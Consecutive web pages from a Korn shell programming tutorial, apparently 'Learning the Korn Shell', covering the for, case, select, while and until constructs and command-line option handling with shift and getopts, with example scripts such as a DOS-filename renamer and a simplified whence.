Flow Control 		Next: 5.3 case

5.2 for

The most obvious enhancement we could make to the previous script is the ability to report on multiple files instead of just one. Tests like -a and -d only take single arguments, so we need a way of calling the code once for each file given on the command line.

The way to do this-indeed, the way to do many things with the Korn shell-is with a looping construct. The simplest and most widely applicable of the shell's looping constructs is the for loop. We'll use for to enhance fileinfo soon.

The for loop allows you to repeat a section of code a fixed number of times. During each time through the code (known as an iteration), a special variable called a loop variable is set to a different value; this way each iteration can do something slightly different.

The for loop is somewhat, but not entirely, similar to its counterparts in conventional languages like C and Pascal. The chief difference is that the shell's for loop doesn't let you specify a number of times to iterate or a range of values over which to iterate; instead, it only lets you give a fixed list of values. In other words, you can't do anything like this Pascal-type code, which executes statements 10 times:

for x := 1 to 10 do
begin
    statements...
end

(You need the while construct, which we'll see soon, to construct this type of loop. You also need the ability to do integer arithmetic, which we will see in Chapter 6, Command-line Options and Typed Variables.)

However, the for loop is ideal for working with arguments on the command line and with sets of files (e.g., all files in a given directory). We'll look at an example of each of these. But first, we'll show the syntax for the for construct:

for name [in list]
do
    statements that can use $name...
done

The list is a list of names. (If in list is omitted, the list defaults to "$@", i.e., the quoted list of command-line arguments, but we'll always supply the in list for the sake of clarity.) In our solutions to the following task, we'll show two simple ways to specify lists.

Task 5.2

You work in an environment with several computers in a local network. Write a shell script that tells you who is logged in to each machine on the network.

The command finger(1) can be used (among other things) to find the names of users logged into a remote system; the command finger @systemname does this. Its output depends on the version of UNIX, but it looks something like this:

[motet.early.com]
Trying 127.146.63.17...
-User-    -Full name-       -What- Idle TTY -Console Location-
hildy    Hildegard von Bingen  ksh   2d5h p1  jem.cal (Telnet)
mikes    Michael Schultheiss   csh   1:21 r4  ncd2.cal (X display 0)
orlando  Orlando di Lasso      csh     28 r7  maccala (Telnet)
marin    Marin Marais          mush  1:02 pb  mussell.cal (Telnet)
johnd    John Dowland          tcsh    17 p0  nugget.west.nobis. (X Window)

In this output, motet.early.com is the full network name of the remote machine.

Assume the systems in your network are called fred, bob, dave, and pete. Then the following code would do the trick:

for sys in fred bob dave pete
do
    finger @$sys
    print
done

This works no matter which of the systems you are currently logged into. It prints output for each machine similar to the above, with blank lines in between.

A slightly better solution would be to store the names of the systems in an environment variable. This way, if systems are added to your network and you need a list of their names in more than one script, you need change them in only one place. If a variable's value is several words separated by blanks (or TABS), for will treat it as a list of words.

Here is the improved solution. First, put lines in your .profile or environment file that define the variable SYSNAMES and make it an environment variable:

SYSNAMES="fred bob dave pete"
export SYSNAMES

Then, the script can look like this:

for sys in $SYSNAMES
do
    finger @$sys
    print
done

The foregoing illustrated a simple use of for, but it's much more common to use for to iterate through a list of command-line arguments. To show this, we can enhance the fileinfo script above to accept multiple arguments. First, we write a bit of "wrapper" code that does the iteration:

for filename in "$@" ; do
    finfo $filename
    print
done

Next, we make the original script into a function called finfo: [11]

function finfo {
    if [[ ! -a $1 ]]; then
        print "file $1 does not exist."
        return 1
    fi
    ...
}

[11] A function can have the same name as a script; however, this isn't good programming practice.

The complete script consists of the for loop code and the above function, in either order; good programming style dictates that the function definition should go first.

The fileinfo script works as follows: in the for statement, "$@" is a list of all positional parameters. For each argument, the body of the loop is run with filename set to that argument. In other words, the function fileinfo is called once for each value of $filename as its first argument ($1). The call to print after the call to fileinfo merely prints a blank line between sets of information about each file.

Given a directory with the same files as the previous example, typing fileinfo * would produce the following output:

bob is a regular file.
you own the file.
you have read permission on the file.
you have write permission on the file.
you have execute permission on the file.

custom.tbl is a regular file.
you own the file.
you have read permission on the file.
you have write permission on the file.

exp is a directory that you may search.
you own the file.
you have read permission on the file.
you have write permission on the file.

lpst is a regular file.
you do not own the file.
you have read permission on the file.

Here is a programming task that exploits the other major use of for.

Task 5.3

Your UNIX system has the ability to transfer files from an MS-DOS system, but it leaves the DOS filenames intact. Write a script that translates the filenames in a given directory from DOS format to a more UNIX-friendly format.

DOS filenames have the format FILENAME.EXT. FILENAME can be up to eight characters long; EXT is an extension that can be up to three characters. The dot is required even if the extension is null; letters are all uppercase. We want to do the following:

  1. Translate letters from uppercase to lowercase.

  2. If the extension is null, remove the dot.

The first tool we will need for this job is the UNIX tr(1) utility, which translates characters on a one-to-one basis. Given the arguments charset1 and charset2, it will translate characters in the standard input that are members of charset1 into corresponding characters in charset2. The two sets are ranges of characters enclosed in square brackets ([] in standard regular-expression form in the manner of grep, awk, ed, etc.). More to the point, tr [A-Z] [a-z] takes its standard input, converts uppercase letters to lowercase, and writes the converted text to the standard output.

That takes care of the first step in the translation process. We can use a Korn shell string operator to handle the second. Here is the code for a script we'll call dosmv:

for filename in ${1:+$1/}* ; do
    newfilename=$(print $filename | tr [A-Z] [a-z])
    newfilename=${newfilename%.}
    print "$filename -> $newfilename"
    mv $filename $newfilename
done

The * in the for construct is not the same as $*. It's a wildcard, i.e., all files in a directory.

This script accepts a directory name as argument, the default being the current directory. The expression ${1:+$1/} evaluates to the argument ($1) with a slash appended if the argument is supplied, or the null string if it isn't supplied. So the entire expression ${1:+$1/}* evaluates to all files in the given directory, or all files in the current directory if no argument is given.

Therefore, filename takes on the value of each filename in the list. filename gets translated into newfilename in two steps. (We could have done it in one, but readability would have suffered.) The first step uses tr in a pipeline within a command substitution construct. Our old friend print makes the value of filename the standard input to tr. tr's output becomes the value of the command substitution expression, which is assigned to newfilename. Thus, if $filename were DOSFILE.TXT, newfilename would become dosfile.txt.

The second step uses one of the shell's pattern-matching operators, the one that deletes the shortest match it finds at the end of the string. The pattern here is ., which means a dot at the end of the string. [12] This means that the expression ${newfilename%.} will delete a dot from $newfilename only if it's at the end of the string; otherwise the expression will leave $newfilename intact. For example, if $newfilename is dosfile.txt, it will be untouched, but if it's dosfile., the expression will change it to dosfile without the final dot. In either case, the new value is assigned back to newfilename.

[12] UNIX regular expression mavens should remember that this is shell wildcard syntax, in which dots are not operators and therefore do not need to be backslash-escaped.

The last statement in the for loop body does the file renaming with the standard UNIX mv(1) command. Before that, a print command simply informs the user of what's happening.

There is one little problem with the solution on the previous page: if there are any files in the given directory that aren't DOS files (in particular, if there are files whose names don't contain uppercase letters and don't contain a dot), then the conversion will do nothing to those filenames and mv will be called with two identical arguments. mv will complain with the message: mv: filename and filename are identical. We can solve this problem by letting grep determine whether each file has a DOS filename or not. The grep regular expression:

[^a-z]\{1,8\}\.[^a-z]\{0,3\}

is adequate (for these purposes) for matching DOS-format filenames. [13] The character class [^a-z] means "any character except a lowercase letter." [14] So the entire regular expression means: "Between 1 and 8 non-lowercase letters, followed by a dot, followed by 0 to 3 non-lowercase letters."

[13] As with the lsd function in Chapter 4, Basic Shell Programming older BSD-derived versions of UNIX don't support the "repeat count" operator within grep. You must use this instead:

[^a-z][^a-z]?[^a-z]?[^a-z]?[^a-z]?[^a-z]?[^a-z]?[^a-z]?\.[^a-z]?[^a-z]?[^a-z]?

[14] To be completely precise, this class also excludes NEWLINEs.

When grep runs, it normally prints all of the lines in its standard input that match the pattern you give it as argument. But we only need it to test whether or not the pattern is matched. Luckily, grep's exit status is "well-behaved": it's 0 if there is a match in the input, 1 if not. Therefore, we can use the exit status to test for a match. We also need to discard grep's output; to do this, we redirect it to the special file /dev/null, which is colloquially known as the "bit bucket." [15] Any output directed to /dev/null effectively disappears. Thus, the command line:

print "$filename" | grep '[^a-z]\{1,8\}\.[^a-z]\{0,3\}' > /dev/null

[15] Some Berkeley-derived versions of UNIX have a -s ("silent") option to grep that suppresses standard output, thereby making redirection to /dev/null unnecessary.

prints nothing and returns exit status 0 if the filename is in DOS format, 1 if not.

Now we can modify our dosmv script to incorporate this code:

dos_regexp='[^a-z]\{1,8\}\.[^a-z]\{0,3\}'
for filename in ${1:+$1/}* ; do
if print $filename | grep $dos_regexp > /dev/null; then
newfilename=$(print $filename | tr [A-Z] [a-z])
newfilename=${newfilename%.}
print "$filename -> $newfilename"
mv $filename $newfilename
fi
done

For readability reasons, we use the variable dos_regexp to hold the DOS filename-matching regular expression.

If you are familiar with an operating system other than DOS and UNIX, you may want to test your script-writing prowess at this point by writing a script that translates filenames from that system's format into UNIX format. Use the above script as a guideline.

In particular, if you know DEC's VAX/VMS operating system, here's a programming challenge:

  1. Write a script called vmsmv that is similar to dosmv but works on VAX/VMS filenames instead of DOS filenames. Remember that VAX/VMS filenames end with semicolons and version numbers.

  2. Modify your script so that if there are several versions of the same file, it renames only the latest version (with the highest version number).

  3. Modify further so that your script erases old versions of files.

The first of these is a relatively straightforward modification of dosmv. Number 2 is difficult; here's a strategy hint:

  • Develop a regular expression that matches VAX/VMS filenames (you need this for No. 1 anyway).

  • Get a list of base names (sans version numbers) of files in the given directory by piping ls through grep (with the above regular expression), cut, and sort -u. Use cut with a semicolon as "field separator"; make sure that you quote the semicolon so that the shell doesn't treat it as a statement separator. sort -u removes duplicates after sorting. Use command substitution to save the resulting list in a variable.

  • Use a for loop on the list of base names. For each name, get the highest version number of the file (just the number, not the whole name). Do this with another pipeline: pipe ls through cut, sort -n, and tail -1. sort -n sorts in numerical (not lexicographical) order; tail -N outputs the last N lines of its input. Again, use command substitution to capture the output of this pipeline in a variable.

  • Append the highest version number to the base name; this is the file to rename in UNIX format.

Once you have completed No. 2, you can do No. 3 by adding a single line of code to your script; see if you can figure out how.

Previous: 5.1 if/else | Learning the Korn Shell | Next: 5.3 case
5.1 if/else | Book Index | 5.3 case
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.3 case

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 5.2 for Chapter 5
Flow Control 		Next: 5.4 select

5.3 case

The next flow control construct we will cover is case. While the case statement in Pascal and the similar switch statement in C can be used to test simple values like integers and characters, the Korn shell's case construct lets you test strings against patterns that can contain wildcard characters. Like its conventional language counterparts, case lets you express a series of if-then-else type statements in a concise way.

The syntax of case is as follows:

case expression in
    pattern1 )
        statements ;;
    pattern2 )
        statements ;;
    ...
esac

Any of the patterns can actually be several patterns separated by pipe characters (|). If expression matches one of the patterns, its corresponding statements are executed. If there are several patterns separated by pipe characters, the expression can match any of them in order for the associated statements to be run. The patterns are checked in order until a match is found; if none is found, nothing happens.

This rather ungainly syntax should become clearer with an example. An obvious choice is to revisit our solution to Task 4-2, the front-end for the C compiler. Earlier in this chapter, we wrote some code, that processed input files according to their suffixes (.c .s, or .o for C, assembly, or object code, respectively).

We can improve upon this solution in two ways. First, we can use for to allow multiple files to be processed at one time; second, we can use case to streamline the code:

for filename in $*; do
    case $filename in
        *.c )
            objname=${filename%.c}.o
            ccom $filename $objname ;;
        *.s )
            objname=${filename%.s}.o
            as $filename $objname ;;
        *.o ) ;;
        *   )
            print "error: $filename is not a source or object file."
            return 1 ;;
    esac
done

The case construct in this code handles four cases. The first two are similar to the if and first elif cases in the code earlier in this chapter; they call the compiler or the assembler if the filename ends in .c or .s respectively.

After that, the code is a bit different. Recall that if the filename ends in .o nothing is to be done (on the assumption that the relevant files will be linked later). If the filename does not end in .o there is an error. We handle this with the case *.o ), which has no statements. There is nothing wrong with a "case" for which the script does nothing.

The final case is *, which is a catchall for whatever didn't match the other cases. (In fact, a * case is analogous to a default case in C and an otherwise case in some Pascal-derived languages.)

The surrounding for loop processes all command-line arguments properly. This leads to a further enhancement: now that we know how to process all arguments, we should be able to write the code that passes all of the object files to the linker (the program ld) at the end. We can do this by building up a string of object file names, separated by spaces, and hand that off to the linker when we've processed all of the input files. We initialize the string to null and append an object file name each time one is created, i.e., during each iteration of the for loop. The code for this is simple, requiring only minor additions:

objfiles=""
for filename in $*; do
    case $filename in
        *.c )
            objname=${filename%.c}.o
            ccom $filename $objname ;;
        *.s )
            objname=${filename%.s}.o
            as $filename $objname ;;
        *.o )
            objname=$filename ;;
        *   )
            print "error: $filename is not a source or object file."
            return 1 ;;
    esac
    objfiles="$objfiles $objname"
done
ld $objfiles

The first line in this version of the script initializes the variable objfiles to null. [16] We added a line of code in the *.o case to set objname equal to $filename, because we already know it's an object file. Thus, the value of objname is set in every case-except for the error case, in which the routine prints a message and bails out.

[16] This isn't strictly necessary, because all variables are assumed to be null if not explicitly initialized (unless the nounset option is turned on). It just makes the code easier to read.

The last line of code in the for loop body appends a space and the latest $objname to objfiles. Calling this script with the same arguments as in Figure 5.1 would result in $objfiles being equal to " a.o b.o c.o d.o" when the for loop finishes (the leading space doesn't matter). This list of object filenames is given to ld as a single argument, but the shell divides it up into multiple file names properly.

We'll return to this example once more in Chapter 6 when we discuss how to handle dash options on the command line. Meanwhile, here is a new task whose initial solution will use case.

Task 5.4

You are a system administrator,[17] and you need to set up the system so that users' TERM environment variables reflect correctly what type of terminal they are on. Write some code that does this.

[17] Our condolences.

The code for the solution to this task should go into the file /etc/profile, which is the master startup file that is run for each user before his or her .profile.

For the time being, we will assume that you have a traditional mainframe-style setup, in which terminals are hard-wired to the computer. This means that you can determine which (physical) terminal is being used by the line (or tty) it is on. This is typically a name like /dev/ttyNN, where NN is the line number. You can find your tty with the command tty(1), which prints it on the standard output.

Let's assume that your system has ten lines plus a system console line (/dev/console), with the following terminals:

  • Lines tty01, tty03, and tty04 are Givalt GL35a's (terminfo name "gl35a").

  • Line tty07 is a Tsoris T-2000 ("t2000").

  • Line tty08 and the console are Shande 531s ("s531").

  • The rest are Vey VT99s ("vt99").

Here is the code that does the job:

case $(tty) in
    /dev/tty0[134]            ) TERM=gl35a ;;
    /dev/tty07                ) TERM=t2000 ;;
    /dev/tty08 | /dev/console ) TERM=s531  ;;
    *                         ) TERM=vt99  ;;
esac

The value that case checks is the result of command substitution. Otherwise, the only thing new about this code is the pipe character after /dev/tty08. This means that /dev/tty08 and /dev/console are alternate patterns for the case that sets TERM to "s531".

Note that it is not possible to put alternate patterns on separate lines unless you use backslash continuation characters at the end of all but the last line, i.e., the line:

/dev/tty08 | /dev/console ) TERM=s531  ;;

could be changed to the slightly more readable:

/dev/tty08 | \
    /dev/console   ) TERM=s531  ;;

The backslash must be at the end of the line. If you omit it, or if there are characters (even blanks) following it, the shell complains with a syntax error message.

This problem is actually better solved using a file that contains a table of lines and terminal types. We'll see how to do it this way in Chapter 7.

Previous: 5.2 for | Learning the Korn Shell | Next: 5.4 select
5.2 for | Book Index | 5.4 select
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.4 select

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 5.3 case Chapter 5
Flow Control 		Next: 5.5 while and until

5.4 select

All of the flow-control constructs we have seen so far are also available in the Bourne shell, and the C shell has equivalents with different syntax. Our next construct, select, is new for the Korn shell; moreover, it has no analog in conventional programming languages.

select allows you to generate simple menus easily. It has concise syntax, but it does quite a lot of work. The syntax is:

select name [in list]
do
    statements that can use $name...
done

This is the same syntax as for except for the keyword select. And like for, you can omit the in list and it will default to "$@", i.e., the list of quoted command-line arguments.

Here is what select does:

  • Generates a menu of each item in list, formatted with numbers for each choice

  • Prompts the user for a number

  • Stores the selected choice in the variable name and the selected number in the built-in variable REPLY

  • Executes the statements in the body

  • Repeats the process forever (but see below for how to exit)

Once again, an example should help make this process clearer. Assume you need to write the code for Task 5-4, but your life is not as simple. You don't have terminals hardwired to your computer; instead, your users communicate through a terminal server. This means, among other things, that the tty number does not determine the type of terminal.

Therefore, you have no choice but to prompt the user for his or her terminal type at login time. To do this, you can put the following code in /etc/profile (assume you have the same choice of terminal types):

PS3='terminal? '
select term in gl35a t2000 s531 vt99; do
    if [[ -n $term ]]; then
        TERM=$term
        print TERM is $TERM
        break
    else
        print 'invalid.'
    fi
done

If you run this code, you will see this menu:

1) gl35a
2) t2000
3) s531
4) vt99
terminal?

The built-in shell variable PS3 contains the prompt string that select uses; its default value is the not particularly useful "#? ". So the first line of the above code sets it to a more relevant value.

The select statement constructs the menu from the list of choices. If the user enters a valid number (from 1 to 4), then the variable term is set to the corresponding value; otherwise it is null. (If the user just presses RETURN, the shell prints the menu again.)

The code in the loop body checks if term is non-null. If so, it assigns $term to the environment variable TERM and prints a confirmation message; then the break statement exits the select loop. If term is null, the code prints an error message and repeats the prompt (but not the menu).

The break statement is the usual way of exiting a select loop. Actually (like its analog in C), it can be used to exit any surrounding control structure we've seen so far (except case, where the double-semicolons act like break) as well as the while and until we will see soon. We haven't introduced break until now because it is considered bad coding style to use it to exit a loop. However, it is necessary for exiting select when the user makes a valid choice. [18]

[18] A user can also type [CTRL-D] (for end-of-input) to get out of a select loop. This gives the user a uniform way of exiting, but it doesn't help the shell programmer much.

Let's refine our solution by making the menu more user-friendly, so that the user doesn't have to know the terminfo name of his or her terminal. We do this by using quoted character strings as menu items and then using case to determine the termcap name:

print 'Select your terminal type:'
PS3='terminal? '
select term in \
    'Givalt GL35a' \
    'Tsoris T-2000' \
    'Shande 531' \
    'Vey VT99'
do
    case $REPLY in
        1 ) TERM=gl35a ;;
        2 ) TERM=t2000 ;;
        3 ) TERM=s531 ;;
        4 ) TERM=vt99 ;;
        * ) print 'invalid.' ;;
    esac
    if [[ -n $term ]]; then
        print TERM is $TERM
        break
    fi
done

This code looks a bit more like a menu routine in a conventional program, though select still provides the shortcut of converting the menu choices into numbers. We list each of the menu choices on its own line for reasons of readability, but once again we need continuation characters to keep the shell from complaining about syntax.

Here is what the user will see when this code is run:

Select your terminal type:
1) Givalt GL35a
2) Tsoris T-2000
3) Shande 531
4) Vey VT99
terminal?

This is a bit more informative than the previous code's output.

When the body of the select loop is entered, $term equals one of the four strings (or is null if the user made an invalid choice), while the built-in variable REPLY contains the number the user selects. We need a case statement to assign the correct value to TERM; we use the value of REPLY as the case selector.

Once the case statement is finished, the if checks to see if a valid choice was made, as in the previous solution. If the choice was valid, then TERM has already been assigned, so the code just prints a confirmation message and exits the select loop. If it wasn't valid, the select loop repeats the prompt and goes through the process again.

Previous: 5.3 case | Learning the Korn Shell | Next: 5.5 while and until
5.3 case | Book Index | 5.5 while and until
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.5 while and until

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 5.4 select Chapter 5
Flow Control 		Next: 6. Command-line Options and Typed Variables

5.5 while and until

The remaining two flow control constructs the Korn shell provides are while and until. These are similar; they both allow a section of code to be run repetitively while (or until) a certain condition holds true. They also resemble analogous constructs in Pascal (while/do and repeat/until) and C (while and do/until).

while and until are actually most useful when combined with features we will see in the next chapter, such as integer arithmetic, input/output of variables, and command-line processing. Yet we can show a useful example even with the machinery we have covered so far.

The syntax for while is:

while condition
do
    statements...
done

For until, just substitute until for while in the above example. As with if, the condition is really a list of statements that are run; the exit status of the last one is used as the value of the condition. You can use a conditional with [[ and ]] here, just as you can with if.

Note that the only difference between while and until is the way the condition is handled. In while, the loop executes as long as the condition is true; in until, it runs as long as the condition is false. So far, so familiar. BUT: the until condition is checked at the top of the loop, not at the bottom as it is in analogous constructs in C and Pascal.

The result is that you can convert any until into a while by simply negating the condition. The only place where until might be better is something like this:

until command; do
    statements...
done

The meaning of this is essentially, "Do statements until command runs correctly." This is not, in our opinion, a likely contingency. Therefore we will use while throughout the rest of this book.

Here is a task that is a good candidate for while.

Task 5.5

Implement a simplified version of the shell's built-in whence command.

By "simplified," we mean that we will implement only the part that checks all of the directories in your PATH for the command you give as argument (we won't implement checking for aliases, built-in commands, etc.).

We can do this by picking off the directories in PATH one by one, using one of the shell's pattern-matching operators, and seeing if there is a file with the given name in the directory that you have permission to execute. Here is the code:

path=$PATH:
dir=${path%%:*}
while [[ -n $path ]]; do
    if [[ -x $dir/$1 && ! -d $dir/$1 ]]; then
        print "$dir/$1"
        return
    fi
    path=${path#*:}
    dir=${path%%:*}
done
return 1

The first line of this code saves $PATH in path, our own temporary copy. We append a colon to the end so that every directory in $path ends in a colon (in $PATH, colons are used only between directories); subsequent code depends on this being the case.

The next line picks the first directory off of $path by using the operator that deletes the longest match to the pattern given. In this case, we delete the longest match to the pattern :*, i.e., a colon followed by anything. This gives us the first directory in $path, which we store in the variable dir.

The condition in the while loop checks if $path is non-null. If it is not null, it constructs the full pathname $dir/$1 and sees if there is a file by that name for which you have execute permission (and that is not a directory). If so, it prints the full pathname and exits the routine with a 0 ("OK") exit status.

If a file is not found, then this code is run:

path=${path#*:}
dir=${path%%:*}

The first of these uses another shell string operator: this one deletes the shortest match to the pattern given from the front of the string. By now, this type of operator should be familiar. This line deletes the front directory from $path and assigns the result back to path. The second line is the same as before the while: it finds the (new) front directory in $path and assigns it to dir. This sets up the loop for another iteration.

Thus, the code loops through all of the directories in PATH. It exits when it finds a matching executable file or when it has "eaten up" the entire PATH. If no matching executable file is found, it prints nothing and exits with an error status.

We can enhance this script a bit by taking advantage of the UNIX utility file(1). file examines files given as arguments and determines what type they are, based on the file's magic number and various heuristics (educated guesses). A magic number is a field in the header of an executable file that the linker sets to identify what type of executable it is.

If filename is an executable program (compiled from C or some other language), then typing file filename produces output similar to this:

filename: ELF 32-bit LSB executable 80386 Version 1

However, if filename is not an executable program, it will examine the first few lines and try to guess what kind of information the file contains. If the file contains text (as opposed to binary data), file will look for indications that it is English, shell commands, C, FORTRAN, troff(1) input, and various other things. file is wrong sometimes, but it is mostly correct.

We can just substitute file for print to print a more informative message in our script:

path=$PATH
dir=${path%%:*}
while [[ -n $path ]]; do
    if [[ -x $dir/$1 && ! -d $dir/$1 ]]; then
      file $dir/$1
      return
    fi
    path=${path#*:}
    dir=${path%%:*}
done
return 1

Assume that fred is an executable file in the directory /usr/bin, and that bob is a shell script in /usr/local/bin. Then typing file fred produces this output:

/usr/bin/fred: ELF 32-bit LSB executable 80386 Version 1

And typing file bob has this result:

/usr/local/bin/bob: commands text

Before we end this chapter, we have two final notes. First, notice that the statement dir=${path%%:*} appears in two places, before the start of the loop and as the last statement in the loop's body. Some diehard C hackers are offended by this Pascal-like coding technique. Certain features of the C language allow programmers to create loops of the form:

while iterative-step; condition; do
    ...
done

This is the same as the form of the script above: the iterative-step runs just before the condition each time around the loop.

We can write our script this way:

path=$PATH
while dir=${path%%:*}; [[ -n $path ]]; do
    if [[ -x $dir/$1 && ! -d $dir/$1 ]]; then
    file $dir/$1
    return
    fi
    path=${path#*:}
done
return 1

Although this example doesn't show great programming style, it does make the code smaller-hence its popularity with C programmers. Make sure you understand that our script is functionally identical to the previous script.

Finally, just to show how little difference there is between while and until, we note that the line

until [[ ! -n $path ]]; do

can be used in place of

while [[ -n $path ]]; do

with identical results.

We'll see additional examples of while in the next chapter.

Previous: 5.4 select | Learning the Korn Shell | Next: 6. Command-line Options and Typed Variables
5.4 select | Book Index | 6. Command-line Options and Typed Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] Command-line Options and Typed Variables

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 5.5 while and until Chapter 6 Next: 6.2 Integer Variables and Arithmetic

6. Command-line Options and Typed Variables

Contents:
Command-line Options
Integer Variables and Arithmetic
Arrays

You should have a healthy grasp of shell programming techniques now that you have gone through the previous chapters. What you have learned up to this point enables you to write many nontrivial, useful shell scripts and functions.

Still, you may have noticed some remaining gaps in the knowledge you need to write shell code that behaves like the UNIX commands you are used to. In particular, if you are an experienced UNIX user, it might have occurred to you that none of the example scripts shown so far have the ability to handle options (preceded by a dash (-)) on the command line. And if you program in a conventional language like C or Pascal, you will have noticed that the only type of data that we have seen in shell variables is character strings; we haven't seen how to do arithmetic, for example.

These capabilities are certainly crucial to the shell's ability to function as a useful UNIX programming language. In this chapter, we will show how the Korn shell supports these and related features.

6.1 Command-line Options

We have already seen many examples of the positional parameters (variables called 1, 2, 3, etc.) that the shell uses to store the command-line arguments to a shell script or function when it runs. We have also seen related variables like * (for the string of all arguments) and # (for the number of arguments).

Indeed, these variables hold all of the information on the user's command-line. But consider what happens when options are involved. Typical UNIX commands have the form command [-options]args, meaning that there can be 0 or more options. If a shell script processes the command fred bob pete, then $1 is "bob" and $2 is "pete". But if the command is fred -o bob pete, then $1 is -o, $2 is "bob", and $3 is "pete".

You might think you could write code like this to handle it:

if [[ $1 = -o ]]; then
    code that processes the -o option
    1=$2
    2=$3
fi

normal processing of $1 and $2...

But this code has several problems. First, assignments like 1=$2 are illegal because positional parameters are read-only. Even if they were legal, another problem is that this kind of code imposes limitations on how many arguments the script can handle-which is very unwise. Furthermore, if this command had several possible options, the code to handle all of them would get very messy very quickly.

6.1.1 shift

Luckily, the shell provides a way around this problem. The command shift performs the function of:

1=$2
2=$3
...

for every argument, regardless of how many there are. If you supply a numeric argument to shift, it will shift the arguments that many times over; for example, shift 3 has this effect:

1=$4
2=$5
...

This leads immediately to some code that handles a single option (call it -o) and arbitrarily many arguments:

if [[ $1 = -o ]]; then
    process the -o option
    shift
fi

normal processing of arguments...

After the if construct, $1, $2, etc., are set to the correct arguments.

We can use shift together with the programming features we have seen so far to implement simple option schemes. However, we will need additional help when things get more complex. The getopts built-in command, which we will introduce later, provides this help.

shift by itself gives us enough power to implement the -N option to the highest script we saw in Chapter 4, Basic Shell Programming (Task 4-1). Recall that this script takes an input file that lists artists and the number of albums you have by them. It sorts the list and prints out the N highest numbers, in descending order. The code that does the actual data processing is:

filename=$1
howmany=${2:-10}
sort -nr $filename | head -$howmany

Our original syntax for calling this script was highest filename [-N], where N defaults to 10 if omitted. Let's change this to a more conventional UNIX syntax, in which options are given before arguments: highest [-N] filename. Here is how we would write the script with this syntax:

if [[ $1 = -+([0-9]) ]]; then
    howmany=$1
    shift
elif [[ $1 = -* ]]; then
    print 'usage: highest [-N] filename'
    return 1
else
    howmany="-10"
fi
filename=$1
sort -nr $filename | head $howmany

In this code, the option is considered to be supplied if $1 matches the pattern -+([0-9]). This uses one of the Korn shell's regular expression operators, which we saw in Chapter 4. Notice that we didn't surround the pattern with quotes (even double quotes); if we did, the shell would interpret it literally, not as a pattern. This pattern means "A dash followed by one or more digits." If $1 matches, then we assign it to the variable howmany.

If $1 doesn't match, we test to see if it's an option at all, i.e., if it matches the pattern -*. If it does, then it's invalid; we print an error message and exit with error status. If we reach the final (else) case, we assume that $1 is a filename and treat it as such in the ensuing code. The rest of the script processes the data as before.

We can extend what we have learned so far to a general technique for handling multiple options. For the sake of concreteness, assume that our script is called bob and we want to handle the options -a, -b, and -c:

while [[ $1 = -* ]]; do
    case $1 in
    -a ) process option -a ;;
    -b ) process option -b ;;
    -c ) process option -c ;;
    *  ) print 'usage: bob [-a] [-b] [-c] args...'
         return 1
    esac
    shift
done

normal processing of arguments...

This code checks $1 repeatedly as long as it starts with a dash (-). Then the case construct runs the appropriate code depending on which option $1 is. If the option is invalid - i.e., if it starts with a dash but isn't -a, -b, or -c - then the script prints a usage message and returns with an error exit status. After each option is processed, the arguments are shifted over. The result is that the positional parameters are set to the actual arguments when the while loop finishes.

Notice that this code is capable of handling options of arbitrary length, not just one letter (e.g., -fred instead of -a).

6.1.2 Options with Arguments

We need to add one more ingredient to make option processing really useful. Recall that many commands have options that take their own arguments. For example, the cut command, on which we relied heavily in Chapter 4, accepts the option -d with an argument that determines the field delimiter (if it is not the default TAB). To handle this type of option, we just use another shift when we are processing the option.

Assume that, in our bob script, the option -b requires its own argument. Here is the modified code that will process it:

while [[ $1 = -* ]]; do
    case $1 in
    -a ) process option -a ;;
    -b ) process option -b
         $2 is the option's argument
         shift ;;
    -c ) process option -c ;;
    *  ) print 'usage: bob [-a] [-b barg] [-c] args...'
         return 1
    esac
    shift
done

normal processing of arguments...

6.1.3 getopts

So far, we have a complete, though still constrained, way of handling command-line options. The above code does not allow a user to combine arguments with a single dash, e.g., -abc instead of -a -b -c. It also doesn't allow one to specify arguments to options without a space in between, e.g., -barg in addition to -b arg. [1]

[1] Although most UNIX commands allow this, it is actually contrary to the Command Syntax Standard Rules in intro(1) of the User's Manual.

The shell provides a built-in way to deal with multiple complex options without these constraints. The built-in command getopts [2] can be used as the condition of the while in an option-processing loop. Given a specification of which options are valid and which require their own arguments, it sets up the body of the loop to process each option in turn.

[2] getopts replaces the external command getopt(1), used in Bourne shell programming; getopts is better integrated into the shell's syntax and runs more efficiently. C programmers will recognize getopts as very similar to the standard library routine getopt(3).

getopts takes two arguments. The first is a string that can contain letters and colons. Each letter is a valid option; if a letter is followed by a colon, the option requires an argument. getopts picks options off the command line and assigns each one (without the leading dash) to a variable whose name is getopts' second argument. As long as there are options left to process, getopts will return exit status 0; when the options are exhausted, it returns exit status 1, causing the while loop to exit.

getopts does a few other things that make option processing easier; we'll encounter them as we examine how to use getopts in the preceding example:

while getopts ":ab:c" opt; do
    case $opt in
    a  ) process option -a ;;
    b  ) process option -b
         $OPTARG is the option's argument ;;
    c  ) process option -c ;;
    \? ) print 'usage: bob [-a] [-b barg] [-c] args...'
         return 1
    esac
done
shift $(($OPTIND - 1))

normal processing of arguments...

The call to getopts in the while condition sets up the loop to accept the options -a, -b, and -c, and specifies that -b takes an argument. (We will explain the : that starts the option string in a moment.) Each time the loop body is executed, it will have the latest option available, without a dash (-), in the variable opt.

If the user types an invalid option, getopts normally prints an unfortunate error message (of the form cmd: getopts: o bad option(s)) and sets opt to ?. However-now here's an obscure kludge-if you begin the option letter string with a colon, getopts won't print the message. [3] We recommend that you specify the colon and provide your own error message in a case that handles ?, as above.

[3] Evidently this was deemed necessary because you can't redirect getopts' standard error output to /dev/null; the result is (usually) a core dump.

